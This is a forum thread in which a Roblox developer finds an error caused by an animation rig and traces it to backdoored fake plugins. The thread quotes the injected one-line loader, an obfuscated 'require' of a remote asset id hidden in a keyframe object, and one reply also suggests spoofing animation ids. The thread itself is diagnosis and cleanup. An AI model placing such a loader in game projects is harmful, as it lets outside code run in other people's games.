Does my animation have a backdoor?

Hello, I 've been following a youtube tutorial on creating basic battlegrounds combat system, although I think my error does not have anything to do with the video.

I have very minimal experience with importing animations, and I keep getting this error whenever i load into the game

Callstack:
Workspace.Rig.AnimSaves.Punch1.Keyframe.HumanoidRootPart.Null., line 2
  -  Server - :2
  16:52:15.251  Downloading asset failed for asset id 5722947559.  Is the asset id correct and is the asset type "Model"?  -  

Upon clicking this error I get a script with just a single line of text

--Last synced 3/10/2024 04:02   RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[
1 Like

are you importing animations through ids or from properties?

Sorry Im very inexperienced with even just importing animations so Im not sure which one. I made the animations on moon animator from a seperate account, i then export them as a rbxm file and import them onto this account in animation editor and publish them and copy and paste the ids onto my animation events in my animation folder.

im not quite sure abt this, but since you made the animation on a seperate account, it wont work, only the account you made the animation on will see it. unfortunately since moon is now a paid plugin you cannot transfer it. one of my friends probably have a free version, you can ask them for it.

i advise you do this:

  • export the animation from your seperate account

  • get the id of the animation, and spoof it. by using this plugin

  • export the animation you just spoofed, you can use it now.

I followed this tutorial to import the animation

Is it possible that my separate account with Moon Animator has a backdoor? I looked around and apparently Ro Sync is a backdoor or something and that might explain the error

Downloading asset failed for asset id 5722947559.  Is the asset id correct and is the asset type "Model"? 

because my account doesn’t have the plugin with the backdoor

1 Like

are you using the official Moon Animator 2 plugin? @xsixx is the user who officially uploaded it.

if its uploaded by anyone else, its a backdoor.

for now, use my steps.

yes it is the official moon animator 2 plugin which i got back when it was free which is why im using a seperate acc. Im a bit hesitant to follow your steps because I dont know if animation spoofing is allowed or not.

I have a bunch of other plugins that might be the source of the backdoor

well you can do this instead,

  • create a experience with team create
  • head over to collaborate, add the seperate account and get the animation made on that account
  • head back to your main account and export the animation

if this doesnt work ill just have to let you do your own.

uhh will the backdoor affect the exporting proccess? Im very hesitant about this sorry, i have very little knowledge about backdoors.

i know nothing about the backdoor, but possibly not.

1 Like

Jesus what a rabbit hole but I managed to fix it im just going to document it because someone might be looking for this

  1. The account i had moon animator on had 2 different plugins that had backdoors, they were both fake plugins apparently https://www.reddit.com/r/roblox/comments/drdq5b/psa_remove_roundify_plugin_from_studio_and/?onetap_auto=true

  2. To remove Ro Sync I simply removed everything including the plugins and scripts and now everything works fine

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